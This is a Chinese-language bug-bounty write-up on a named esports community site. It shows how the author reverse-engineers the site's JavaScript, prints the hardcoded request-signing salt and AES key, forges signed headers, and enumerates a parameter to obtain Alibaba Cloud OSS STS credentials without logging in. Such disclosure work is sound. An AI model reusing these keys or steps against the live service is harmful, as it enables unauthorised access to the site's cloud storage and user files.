某社区未授权获取阿里云 OSS STS 云凭证

前言

本次测试属于公益类型的 SRC

JavaScript 信息收集

起点页面 https://web.haojiao.cc/wiki/wiki_home/t2Ud5pOQlscKLbRC 返回的 HTML 只有 1589 字节，除了一堆 meta 就是一个空 div

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!doctype html><html><head><meta charset="utf-8">
<link rel="shortcut icon" href="https://files.haojiao.cc/frontend/commons/favicon.ico">
<title>号角</title>
<link rel="stylesheet" href="https://at.alicdn.com/t/c/font_4035192_7p93u2ofib.css">
<link rel="stylesheet" href="https://files.haojiao.cc/frontend/commons/antd.variable.min.css?...">
<script src="https://res.wx.qq.com/connect/zh_CN/htmledition/js/wxLogin.js"></script>
<style>#root{height:100%;width:100%}body{width:100%!important;background-color:transparent}</style>
<meta name="title" content="horn-web">
<meta name="keywords" content="react,hooks,redux,typescript,router5,antd4.21.6">
<link href="/./css/406bea94370e8a83a584.css" rel="stylesheet"></head>
<body><div id="root"></div>
<script src="/js/fdf61c7e604adccd8da1.js"></script>
<script src="/js/antd.c91e96c74fb0d99041de.js"></script>
<script src="/js/vendors~app.20d8b078010b5c655dd3.js"></script>
<script src="/js/app.00bef81e713d16ef6d72.js"></script>
</body></html>

meta 已经把技术栈交代清楚：React + Redux + TypeScript + router5 + antd 4.21.6，SPA 外壳，真实逻辑全在 JS 里。响应头显示前面是 Tengine + 阿里云 CDN（Via: cache40.l2ea120-5、EagleId）

fdf61c7e604adccd8da1.js 只有 3921 字节，是 webpack 的运行时引导

pasted_1791339881046_8x7090.png

重点分析生成 JS chunk URL 的代码部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
d.src = function(e) {
    return f.p + "js/" + ({
        0: "common",
        2: "antv",
        4: "echarts"
    }[e] || e) + "." + {
        0: "0f9cc54654dc2e88a00c",
        2: "179fc3d571fe8dc212c6",
        3: "9b826905863c47fbb3cc",
        4: "f39b212965ee769ac2a2",
        5: "3e7a80799a833e4df679",
        6: "ca963572f62abb7c0d7f",
        7: "36ad98e007a12ffed3e8",
        11: "bf1adeae6ff61339e831",
        12: "fca1e3f922c6c2fc8167",
        13: "1b832194f715c9f5d216",
        14: "c2182c2cf20f0dbe2727",
        15: "b3e74c27f230423a5e35",
        16: "80a006167030b5d124d6",
        17: "ddf893692ada9f0d02e7",
        18: "6dc9c657bf6dc31529e3"
    }[e] + ".js"
}(e);

  • function(e) { ... }(e) 传入当前要加载的 chunk id（变量 e），返回完整的 JS 文件路径

  • f.p = "/"，所以所有 chunk 都从网站根目录开始加载

  • "js/" 表示 chunk 文件存放在 /js/ 目录下

1
2
3
4
5
({
    0: "common",
    2: "antv",
    4: "echarts"
}[e] || e)

  • 如果 chunk id 是 0、2、4，则使用对应的可读名称：common、antv、echarts

  • 其他 chunk id（如 3、5、11…）没有命名，直接使用数字 id 作为文件名的一部分

最终生成 URL 格式：{公共路径}js/{chunk名称或id}.{哈希}.js

按名单批量下载，结果暴露了一个信息：大部分异步 chunk 已从服务器下线，只有三个还在

文件 大小 说明
js/fdf61c7e604adccd8da1.js 3,921 B webpack runtime + chunk 表
js/antd.c91e96c74fb0d99041de.js 435,388 B antd 组件库
js/vendors~app.20d8b078010b5c655dd3.js 2,287,319 B 第三方依赖（含埋点 SDK）
js/app.00bef81e713d16ef6d72.js 408,443 B 业务代码主包（关键）
js/common.0f9cc54654dc2e88a00c.js 1,903,402 B 公共模块
js/antv.179fc3d571fe8dc212c6.js 1,772,902 B 图表库
js/echarts.f39b212965ee769ac2a2.js 1,067,439 B 图表库
chunk 3/5/6/7/11–18 1,589 B × 12 已下线，返回 index.html 兜底

在 app.*.js 里翻到一个 API 基址配置对象

pasted_1791340429904_ud5vf6.png

1
2
3
4
5
6
7
8
9
10
11
12
var a;
a = {
  user:          "https://api.haojiao.cc/user_register_center",
  configCenter:  "https://api.haojiao.cc/config_center",
  messageCenter: "https://api.haojiao.cc/message_center",
  momentNew:     "https://api.haojiao.cc/moment_new",
  userBase:      "https://api.haojiao.cc/user_base_logic",
  wiki:          "https://api.haojiao.cc/wiki",
  cms:           "https://api.haojiao.cc/cms_api",
  web:           "https://web.haojiao.cc",
  mobile:        "https://m.haojiao.cc"
};

后端是 api.haojiao.cc 上一个按服务名分区的网关

服务名 作用（据接口推断）
wiki 电竞百科主体：赛事 / 战队 / 选手 / 比赛 / 评分 / 预测
user_register_center 注册、登录、发码、绑定、找回、注销
user_base_logic 用户资料、徽章、JWT 签发
moment_new 社区动态、帖子、评论、话题
message_center 消息通知
config_center 全站配置、OSS 凭证签发
cms_api 内容管理

顺着这份地图，从 JS 里抽出 205 条接口路径

后端接口有鉴权，直接访问返回 403，回到 app.*.js 找请求拦截器

1
2
3
4
5
6
7
8
9
// 请求拦截器：统一处理请求配置
i.a.interceptors.request.use(function(e){
  e.data = JSON.stringify(e.data);                // 序列化请求体
  e.timeStamp = (new Date).getTime();             // 添加时间戳
  var t = p();                                    // 生成自定义头
  e.headers = M(M({}, e.headers), t);             // 合并自定义头到现有 headers
  var n = c.c.get_store("JW_TOKEN");              // 从本地存储获取 token
  return n && (e.headers.Authorization = "Bearer ".concat(n)), e;  // 存在则加 Authorization 头，并返回 config
});

追 p()，在同一个模块里找到定义

pasted_1791341725732_k5zpnl.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 生成自定义请求头：时间戳、随机数、OS、签名、版本
p = function(e, t){
  // 若未传入时间戳，则取当前毫秒时间戳（Object(l.i)()）
  return void 0 === e && (e = Object(l.i)()),
         // 若未传入随机串，则生成一个默认 10 位随机字符串
         void 0 === t && (t = function(e){
           void 0 === e && (e = 10);                  // 默认长度 10
           for (var t = "", n = 0; n < e; n++)
             t += String.fromCharCode(
               Math.round(1 * Math.random()) ? 26 * Math.random() + Math.round(1 * Math.random() ? 97 : 65)  // 随机大小写字母
                                             : 10 * Math.random() + 48);                                    // 随机数字
           return t;
         }()),
  {
    "x-hj-timestamp": e.toString(),                   // 时间戳（字符串）
    "x-hj-nonce":     t,                              // 随机数（nonce）
    "x-hj-os":        "web",                          // 操作系统标识
    // 硬编码盐 + nonce + 时间戳 计算 SHA1 签名
    "x-hj-sign":      u.SHA1("N61P#=Pf$yz=fwFZa)U8".concat(t).concat(e)),
    "x-hj-version":   d.version                       // 客户端版本号
  }
};
头 值 可预测性
x-hj-timestamp 当前毫秒时间戳 完全可控
x-hj-nonce 10 位随机字母数字 完全可控
x-hj-os 固定 web 常量
x-hj-sign SHA1(盐 + nonce + timestamp) 盐已泄露 → 可算
x-hj-version 前端版本号 常量

紧接着拦截器的响应处理分支

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 响应拦截器：统一处理响应数据
i.a.interceptors.response.use(function(e){
  var t, n, a = e.config, i = a.url, o = a.data, c = a.timeStamp;
  // 记录请求信息（可能用于日志/埋点）
  D(i, y(o)),
  // 若响应头 content-type 包含 text/plain，则对响应体进行 AES 解密
  (null === (t = e.headers["content-type"]) || void 0 === t
     ? void 0
     : t.includes("text/plain"))
  && (e.data = function(e){
       var t = u.AES.decrypt(
         e.data,                                              // base64 密文
         u.enc.Utf8.parse("B-:9bzB8K%~q{Au?^>Pfl*)k"),         // 硬编码密钥
         { iv:   u.enc.Utf8.parse("B-:9bzB8K%~q{Au?^>Pfl*)k"), // IV 与密钥同串
           mode: u.mode.CBC,
           padding: u.pad.Pkcs7 }
       ).toString(u.enc.Utf8);                                // 转为 UTF-8 字符串
       return JSON.parse(t);                                  // 解析为 JSON 对象
     }(e.data));
  // ... 后续处理（如错误码判断、token 刷新等）
});
项 值
密钥算法 AES-CBC / PKCS7
密钥 B-:9bzB8K%~q{Au?^>Pfl*)k（24 字节 → AES-192）
IV 同一串，CryptoJS 实际只用前 16 字节
触发条件 响应 Content-Type 含 text/plain
编码 base64

把 salt 和 nonce/timestamp 按算法拼起来，第一次对照实验

1
2
不带签名头:  GET /wiki/api/v1/game/menu  →  403  (body 0 字节)
自造签名头:  GET /wiki/api/v1/game/menu  →  200  (body 876 字节)

拿到了密文响应解密得到明文

1
2
3
{"code":200,"data":[{"game_id":"t2Ud5pOQlscKLbRC","game_name":"无畏契约",
  "icon":"/cms/20230213/1676268309015.jpg","bg":"/wiki/games/game_bg/ico_valorant_bg.png",
  "banner":["/cms/20250208/1738980348349.png"],"color":"FF2E231E"}, ...]}

未授权访问

访问 /config_center/api/v2/global

1
2
3
4
5
6
7
8
9
10
11
12
13
{"data_sum":"468e04b051a1bf7e38dd36b1923b8b62",
 "oss_config":{
   "avatar":      {"bucket":"skyhorn","endpoint":"oss-cn-shenzhen.aliyuncs.com","domain":"https://files.haojiao.cc","obj_prefix":"avatar"},
   "chat_files":  {"bucket":"skyhorn","obj_prefix":"chat_files"},
   "chat_videos": {"bucket":"skyhorn","obj_prefix":"chat_videos"},
   "chat_voices": {"bucket":"skyhorn","obj_prefix":"chat_voices"},
   "user_report": {"bucket":"skyhorn","obj_prefix":"user_report"},
   "moment_video":{"bucket":"sz-media","obj_prefix":"moment_video"},
   "cms":         {"bucket":"skyhorn","obj_prefix":"cms"},
   "default":     {"bucket":"skyhorn","obj_prefix":""},
   ... },
 "app_info":{"latest_version":"1.13.0","force":1},
 "switch_config":{"ShowThirdLogin":true,"EnableUserInfoEdit":true,"DumpMatchDetail":true,"ShowWikiTab":true}}

桶名、endpoint、CDN 域、每个业务前缀，全部匿名可读

前端是这么调它的（t 表示「是否访客」）

1
2
3
4
5
_ = function(scene, isVisitor){
  ...
  return [4, isVisitor ? Object(a.m)({ oss_auth_key: p() })   // 访客 → oss_auth_visitor
                       : Object(a.l)()];                       // 登录 → oss_auth
}

即 上传时的场景名（enum: Default / Meme / Moment / MomentVideo / UserReport）经 p() 换算成一个数字 key 传过去

把 key 从小到大扫一遍

oss_auth_key HTTP 结果
（空） 400 参数缺失
0 400 参数缺失（0 被当作零值）
1 200 返回凭证
2 200 返回凭证
99999 200 返回凭证
abc 400 类型错（ParseUint）
-1 400 类型错（ParseUint）
1.5 400 类型错（ParseUint）

1、2、99999 都能拿到凭证 —— 说明服务端对这个 key 的校验很松

oss_auth_key=1 的响应（密文开头）:

1
14RaEHcDpjpoW77hxylf/bguQB6MOrPps5O49WGk14OzP3g/j9abgdHQDACptjLXHrTmPR1X9xPOcX0f9KE4cnOCZyKhxMgnnkAXLOsexK9K8ayGfF88udBr...

解密字段结构，三种凭证 全部返回：

1
['access_key_id', 'access_key_secret', 'security_token']

pasted_1791358327976_u9wnb2.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
用户在前端做「上传」动作（发动态 / 传头像 / 传聊天文件 / 提交举报）
        │
        ▼
上传组件调用 _ (scene, isVisitor)
        │
        ├── isVisitor = true  →  config_center /api/v2/oss_auth_visitor?oss_auth_key=<p(scene)>
        └── isVisitor = false →  config_center /api/v2/oss_auth          （需登录，401）
        │
        ▼
拿到 {access_key_id, access_key_secret, security_token}
        │
        ▼
用 STS 凭证直连 OSS 上传到 <bucket>/<obj_prefix>/...
        │
        ▼
前端把 https://files.haojiao.cc/<prefix>/<name> 存进业务数据

pasted_1791359640529_7i0a8k.png